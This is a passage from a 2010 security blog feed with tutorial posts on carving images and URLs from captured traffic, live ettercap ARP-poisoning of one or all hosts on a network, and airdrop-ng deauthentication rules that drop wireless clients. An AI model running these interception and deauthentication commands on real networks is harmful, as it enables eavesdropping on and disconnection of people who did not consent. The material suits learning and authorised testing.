properly, you have to replay slowly, there is no  point in including the -t option (topspeed) or multiplying  the replay speed with -x.&lt;br /&gt;So best to simply replay at capture speed without any options,  you'll have to see which works best for you. &lt;br /&gt;&lt;div style="color: lime;"&gt;tcpreplay -i lo dump&lt;/div&gt;In another console window;&lt;br /&gt;&lt;div style="color: lime;"&gt;driftnet -i lo&lt;/div&gt;This will open up a seperate driftnet window in which the extracted  images will be shown ;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/driftnet.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/driftnet.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you dont want to have the images printed to the screen straight  away then they can be saved to a temporary directory of your choosing  (directory 'output' for example);&lt;br /&gt;&lt;i&gt;! Note that the files will be deleted when driftnet is stopped ! &lt;/i&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;mkdir output&lt;/div&gt;&lt;div style="color: lime;"&gt;driftnet -i lo -a -d output/&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/driftnet-output.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/driftnet-output.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;I have had much less succes with driftnet than I have had with tcpxtract based on a capture over time.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;driftnet seems to 'conk out' for me after a while, perhaps an issue with my network card / drivers. Cant be sure.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;I do seem to be getting slightly better results when using my WUSB54GC Linksys usb adapter than when using the internal card (Atheros) on my Samsung N110. &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;FOREMOST&lt;/div&gt;&lt;a href="http://foremost.sourceforge.net/"&gt;http://foremost.sourceforge.net/&lt;/a&gt;&lt;br /&gt;recovers files from image files &amp;amp; drives&lt;br /&gt;&lt;div style="color: yellow;"&gt;-----------------------------------------------&lt;/div&gt;Foremost is a program to recover files from a number of image file types, drives and can also handle pcap files.&lt;br /&gt;The version installed with backtrack4 is 1.5.4 whereas the latest one on sourceforge is 1.5.7&lt;br /&gt;Not sure whether the latest version performs better, but am only using the stock install on backtrack for the time being. &lt;br /&gt;Foremost's configuration file can be edited to include more filetypes, however the way to correctly do so escapes me at this time.&lt;br /&gt;Regrettably there is very little information on how to correctly edit the config file.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;foremost -h&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot06.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot06.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;foremost -i dump&lt;br /&gt;ls&lt;br /&gt;cd output/ &amp;amp;&amp;amp; ls&lt;br /&gt;cd jpg/ &amp;amp;&amp;amp; ls &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot07.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot07.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Foremost automatically creates an output directory named 'output', if no other directory is specified with the -o option.&lt;br /&gt;(if specifying an output folder, that folder needs to be empty prior starting foremost)&lt;br /&gt;&lt;br /&gt;Thumbnail view of part of what foremost was able to extract from the dump file; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/foremost-out.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/foremost-out.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I really like the audit report and the folders per type that foremost  creates, a lot of data seems to get corrupted though.&lt;br /&gt;This  probably due to my igorance on how best to use the tool rather than the  tool not working right I would guess..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;TCPXTRACT&lt;/div&gt;&lt;a href="http://tcpxtract.sourceforge.net/"&gt;http://tcpxtract.sourceforge.net/&lt;/a&gt;&lt;br /&gt;extracts files from network traffic &lt;br /&gt;&lt;div style="color: yellow;"&gt;-----------------------------------------&lt;/div&gt;tcpxtract is not included in backtrack, but simple to install as it is in the backtrack repositories;&lt;br /&gt;&lt;div style="color: lime;"&gt;apt-get update&lt;/div&gt;&lt;div style="color: lime;"&gt;apt-get install tcpxtract&lt;/div&gt;&lt;br /&gt;tcpxtract is a tool for extracting files from network traffic, either direct from interface or from network capture file. It has not been updated since 2005 as far as I can see.&lt;br /&gt;tcpxtract uses the same kind of configuration file as foremost does with 26 fileformats predefined for extraction.&lt;br /&gt;As with foremost the configuration can be edited to include more fileformats, again, there seems to be precious little information on how to correctly do that.&lt;br /&gt;&lt;br /&gt;First delete all the info in the previously used output directory to start with a clean slate;&lt;br /&gt;&lt;div style="color: lime;"&gt;rm -r output/* &lt;/div&gt;&lt;div style="color: lime;"&gt;tcpxtract&lt;/div&gt;To extract from the dump file;&lt;br /&gt;&lt;div style="color: lime;"&gt;tcpxtract -f dump -o output/&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tcpxtract.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tcpxtract.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;tcpxtract puts everyhing unsorted in the output folder and does not have a nice audit report like foremost.&lt;br /&gt;The results for the jpeg recovery however are much better than with foremost, it takes a little longer, but obviously does a better job with it;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tcpxtract-out.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tcpxtract-out.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I wasnt able to open a lot of the files that were extracted from the dump file by foremost &amp;amp; tcpxtract (neither seemed to like .png or .tif ..), but learning and hopefully may get slightly more adept as things progress !&lt;br /&gt;&lt;i&gt;(please leave a comment if you have tweaks / notes on how to improve on this !)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The great part of foremost &amp;amp; tcpxtract is that they are able to extract so many different filetypes from a pcap file / over the wire.&lt;br /&gt;&lt;br /&gt;I will definitely be trying to get them working more to my liking as if I can get them to do what they should be able to do, they will be definite keepers and have a lot more uses than just fun with pics.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;URLSNARF&lt;/div&gt;&lt;a href="http://monkey.org/%7Edugsong/dsniff/"&gt;http://monkey.org/~dugsong/dsniff/&lt;/a&gt;&lt;br /&gt;sniffs HTTP requests &lt;br /&gt;&lt;div style="color: yellow;"&gt;--------------------------------------------&lt;/div&gt;I also touched on this one in a previous post &lt;a href="http://adaywithtape.blogspot.com/2009/09/monitoring-network-with-dsniff-urlsnarf.html"&gt;Analyzing/Monitoring network captures with dsniff&lt;/a&gt; but again its worth looking at again as I was having trouble with Ettercap's remote_browser plugin.&lt;br /&gt;&lt;br /&gt;urlsnarf can read from both interface or pcap file, to read from file ;&lt;br /&gt;&lt;div style="color: lime;"&gt;urlsnarf -p dump &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/urlsnarf.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/urlsnarf.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;If you were capturing from a couple of clients you could even focus this on a single client and write to a file for easier viewing with a slight addition ;&lt;br /&gt;&lt;div style="color: lime;"&gt;urlsnarf -p dump | grep 192.168.1.102 &amp;gt; client102.txt&lt;/div&gt;&lt;span style="color: lime;"&gt;nano client102.txt&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/nano-urlsnarf.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/nano-urlsnarf.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VIEWING DATA 'LIVE'&lt;/div&gt;&lt;div style="color: #6aa84f;"&gt;==================&lt;/div&gt;&lt;br /&gt;If you wanted to view the network traffic live, then there is no need to write to a dump file (although handy for retrospective checking).&lt;br /&gt;You could simply leave out the write option from the ettercap command as follows;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;ETTERCAP&lt;br /&gt;------------- &lt;/div&gt;for 1 host;&lt;br /&gt;&lt;div style="color: lime;"&gt;ettercap -Tq -i wlan0 -M arp:remote /192.168.1.1/ /192.168.1.102/&lt;/div&gt;or for all hosts on network;&lt;br /&gt;&lt;div style="color: lime;"&gt;ettercap -Tq -i wlan0 -M arp:remote /192.168.1.1/ //&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Then open up a couple of consoles and get viewing !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;TCPXTRACT&lt;/div&gt;&lt;span style="color: yellow;"&gt;---------------&lt;/span&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;tcpxtract -d wlan0 -o output/&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;DRIFTNET&lt;/div&gt;&lt;span style="color: yellow;"&gt;-------------&lt;/span&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;driftnet -i wlan0&amp;nbsp;&lt;/div&gt;or to save the extracted files to a folder;&lt;br /&gt;&lt;span style="color: lime;"&gt;driftnet -i wlan0 -a -d output/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;URLSNARF&lt;/div&gt;&lt;div style="color: yellow;"&gt;-------------- &lt;/div&gt;&lt;div style="color: lime;"&gt;urlsnarf -i wlan0&lt;/div&gt;or to single out a certain host;&lt;br /&gt;&lt;div style="color: lime;"&gt;urlsnarf -i wlan0 | grep 192.168.1.102 &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At the end of the day, the most interesting tool worked with was Ettercap.. I will be digging into this and possibly posting soon on it.&lt;br /&gt;&lt;br /&gt;Otherwise it has to be said that file carving (extracting files by means of checking file headers &amp;amp; footers and then 'carving' out the blocks inbetween) is awesome.. hope I can get to grips with this more.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;div style="color: orange;"&gt;&lt;b&gt;Would appreciate comments on how to improve results with foremost / tcpxtract !&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;Video on the above can be  found at ;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://blip.tv/file/3340820"&gt;http://blip.tv/file/3340820&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;or&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.youtube.com/watch?v=SNWnSUjOKuo"&gt;http://www.youtube.com/watch?v=SNWnSUjOKuo&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;or&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://vimeo.com/10142955"&gt;http://vimeo.com/10142955&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-4304260292720662413?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/4304260292720662413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2010/03/network-captures-revisited.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/4304260292720662413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/4304260292720662413'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2010/03/network-captures-revisited.html' title='network captures revisited'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-8471984901303071869</id><published>2010-03-01T15:17:00.029+01:00</published><updated>2010-04-27T22:15:31.283+02:00</updated><title type='text'>Testing airdrop-ng in BackTrack 4</title><content type='html'>&lt;div style="color: red;"&gt;WARNING !&lt;/div&gt;&lt;div style="color: red;"&gt;This tool can cause major disruptions to wireless networks / connectivity.&lt;/div&gt;&lt;div style="color: red;"&gt;Be careful when writing the droprules and make sure it is only used on networks on which you are authorized to test it.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Airdrop-ng is described as being a 'rule-based Deauth(entication) tool'.&lt;br /&gt;&lt;br /&gt;Airdrop is now available through the standard Backtrack repositories, can install with ; &lt;br /&gt;&lt;div style="color: lime;"&gt;apt-get update&lt;/div&gt;&lt;div style="color: lime;"&gt;apt-get install airdrop-ng&lt;/div&gt;&lt;br /&gt;Different from other deauthentication tools, Airdrop provides a means to either allow or deny clients to the same access point at the same time, as well as other nifty functions such as allowing or denying access based on hardware type (hardware name or OUI).&lt;br /&gt;&lt;br /&gt;This allowance or denial is based on rules which are entered in a text file read by the application.&lt;br /&gt;&lt;br /&gt;The way it works is fairly staightforward, first airodump needs to be started, configured to write out to a .csv file.&lt;br /&gt;Then airdrop is started, linking to the csv file and pointing to a rules configuration file where the drop rules are entered.&lt;br /&gt;&lt;br /&gt;So the main thing is to figure out what you want to achieve with this tool running, prepare the file with drop rules accordingly and then let it rip !&lt;br /&gt;&lt;br /&gt;First things first, start up airodump and configure to write to a .csv file ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;airmon-ng&lt;/div&gt;&lt;div style="color: lime;"&gt;airmon-ng start wlan0&lt;/div&gt;&lt;div style="color: lime;"&gt;airodump-ng mon0 -w test --output-format csv&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airmon-airodump.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airmon-airodump.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Now to create a file with the Airdrop drop rules.&lt;br /&gt;The standard format is;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;a&lt;/span&gt;(allow)&lt;span style="color: lime;"&gt;/bssid mac&lt;/span&gt;(or '&lt;span style="color: lime;"&gt;any&lt;/span&gt;')&lt;span style="color: lime;"&gt;|client mac&lt;/span&gt;(or '&lt;span style="color: lime;"&gt;any&lt;/span&gt;')&lt;br /&gt;or&lt;br /&gt;&lt;span style="color: lime;"&gt;d&lt;/span&gt;(deny)&lt;span style="color: lime;"&gt;/bssid mac&lt;/span&gt;(or '&lt;span style="color: lime;"&gt;any&lt;/span&gt;')&lt;span style="color: lime;"&gt;|client mac&lt;/span&gt;(or '&lt;span style="color: lime;"&gt;any&lt;/span&gt;')&lt;br /&gt;&lt;br /&gt;&lt;i&gt;In the written examples I am using 00-11-22-33-44-55 as AP mac and 55-44-33-22-11-00 as Client mac.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;This for simplicity's sake.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Some of the actual picture examples show different macs addresses as these are taken from an actual test run requiring actual connections.  &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To start off, I will first create a simple file with a 'deny all' rule for a specific AP ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;echo '#Deny rules' &amp;gt; rules &amp;amp;&amp;amp; echo 'd/00-11-22-33-44-55|any' &amp;gt;&amp;gt; rules&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/echo-rule.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/echo-rule.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This rule will deny all clients access to the AP with mac address 00:11:22:33:44:55.&lt;br /&gt;(Can also enter MAC addresses in the standard format; 00:11:22:33:44:55)&lt;br /&gt;&lt;br /&gt;So now time to run Airdrop ;&lt;br /&gt;(You can also include the -p option to disable the use of Pysco, gets rid of the 'Not Found' message ..)&lt;br /&gt;&lt;b&gt;&lt;i&gt;[Depending on how it was installed, the below commands likely need to be started with &lt;span style="color: lime;"&gt;./airdrop-ng&lt;/span&gt;]&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /pentest/wireless/airdrop-ng/&lt;/div&gt;&lt;div style="color: lime;"&gt;airdrop-ng -i mon0 -t ~/test-01.csv -r ~/rules&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/denyall.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/denyall.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can also include the -b option for some more detail (Rule debugging);&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;airdrop-ng -i mon0 -t ~/test-01.csv -r ~/rules -b&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/denyallb.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/denyallb.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now to edit the rules file to allow a client to access ;&lt;br /&gt;As rules are run in a cascading order (from top to bottom) note that the Allow rules should be placed above the Deny rule ; &lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;nano rules&lt;/div&gt;&lt;div style="color: yellow;"&gt;#Allow rule&lt;/div&gt;&lt;div style="color: yellow;"&gt;a/00-11-22-33-44-55|55-44-33-22-11-00&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;#Deny rule&lt;/div&gt;&lt;div style="color: yellow;"&gt;d/00-11-22-33-44-55|any&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/nanoad.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/nanoad.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With the above when running airdrop, all clients except 55-44-33-22-11-00 will be denied access to AP in question.&lt;br /&gt;(Similar to an access point's mac-filtering approach)&lt;br /&gt;&lt;br /&gt;There is no real need to include "#Allow rule" and the "#Deny rule", its just for clarity's sake.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Another nice function is the ability to Allow or Deny access to certain hardware based on OUI codes or (some) hardware names.&lt;br /&gt;The OUI list can be updated in airdrop as follows (of course need to be online);&lt;br /&gt;&lt;div style="color: lime;"&gt;airdrop-ng -u &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ouiupdate.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ouiupdate.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The OUI list can be found @ &lt;span style="color: lime;"&gt;/pentest/wireless/airdrop-ng/support/oui.txt&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;I have only tested this using names on my network with Linksys and Intel equipment. &lt;br /&gt;&lt;br /&gt;For instance, you can create a rule to deny all clients access to a Linksys router (WRT54G was tested) as follows ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;nano rules&lt;/div&gt;&lt;div style="color: yellow;"&gt;#Deny rule&lt;/div&gt;&lt;div style="color: yellow;"&gt;d/Linksys|any&lt;/div&gt;&lt;br /&gt;The airdrop-ng result ; &lt;br /&gt;&lt;div style="color: lime;"&gt;airdrop-ng -i mon0 -t ~/test-01.csv -r ~/rules -b&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/dlinksysap.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/dlinksysap.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Or you can create a rule to deny linksys adapters from accessing a certain AP ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;nano rules&lt;/div&gt;&lt;div style="color: yellow;"&gt;#Deny rule&lt;/div&gt;&lt;div style="color: yellow;"&gt;d/00-11-22-33-44-55|Linksys&lt;/div&gt;&lt;br /&gt;The airdrop-ng result ;&lt;br /&gt;&lt;div style="color: lime;"&gt;airdrop-ng -i mon0 -t ~/test-01.csv -r ~/rules -b&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/dlinksysclients.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/dlinksysclients.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Each time Airdrop finishes sending packets it re-parses the airodump csv file for changes as well as the rules file, this means that the rules file can be updated even while Airdrop is running.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;NOTE&lt;/i&gt;&lt;br /&gt;&lt;i&gt;-------&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Following a post on the BT4 forums, have found that airdrop does not like multiple allow rules&lt;/i&gt;&lt;i&gt;.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;After some further testing have found that &lt;/i&gt;&lt;i&gt;multiple Deny rules seem to be OK.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;But if more than 1 Allow rule, airdrop seems to simply ignore any allow rule after the 1st one.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;In most cases what I noted was that with a connection already in place (connection with WUSB54GC adapter), the connection to the AP was not so much terminated, as rather activity was denied.&lt;br /&gt;So on Windows received the message that "this connection has limited or no connectivity" and needed to restart the adapter to regain normal functionality.&lt;br /&gt;&lt;i&gt;edit&lt;/i&gt;&lt;br /&gt;&lt;i&gt;----&lt;/i&gt;&lt;br /&gt;&lt;i&gt;In further tests when running for a prolonged session it actually did kick the adapter off completely.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;When first starting airdrop with a droprule in place Denying the client access and then trying to connect, there was only a continuous effort to get an IP address.&lt;br /&gt;When then stopping airdrop, same message noted on "this connection has limited or no connectivity" and again needed to restart the adapter to regain normal functionality.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All in all, an interesting tool, with several interesting (and mischievous..) uses..&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;Video on the above ;&lt;/b&gt;&lt;/div&gt;&lt;a href="http://blip.tv/file/3292804"&gt;http://blip.tv/file/3292804&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://vimeo.com/9876579"&gt;http://vimeo.com/9876579&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=Wml82Q22bSY"&gt;http://www.youtube.com/watch?v=Wml82Q22bSY&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-8471984901303071869?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/8471984901303071869/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2010/03/airdrop-ng.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/8471984901303071869'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/8471984901303071869'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2010/03/airdrop-ng.html' title='Testing airdrop-ng in BackTrack 4'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' 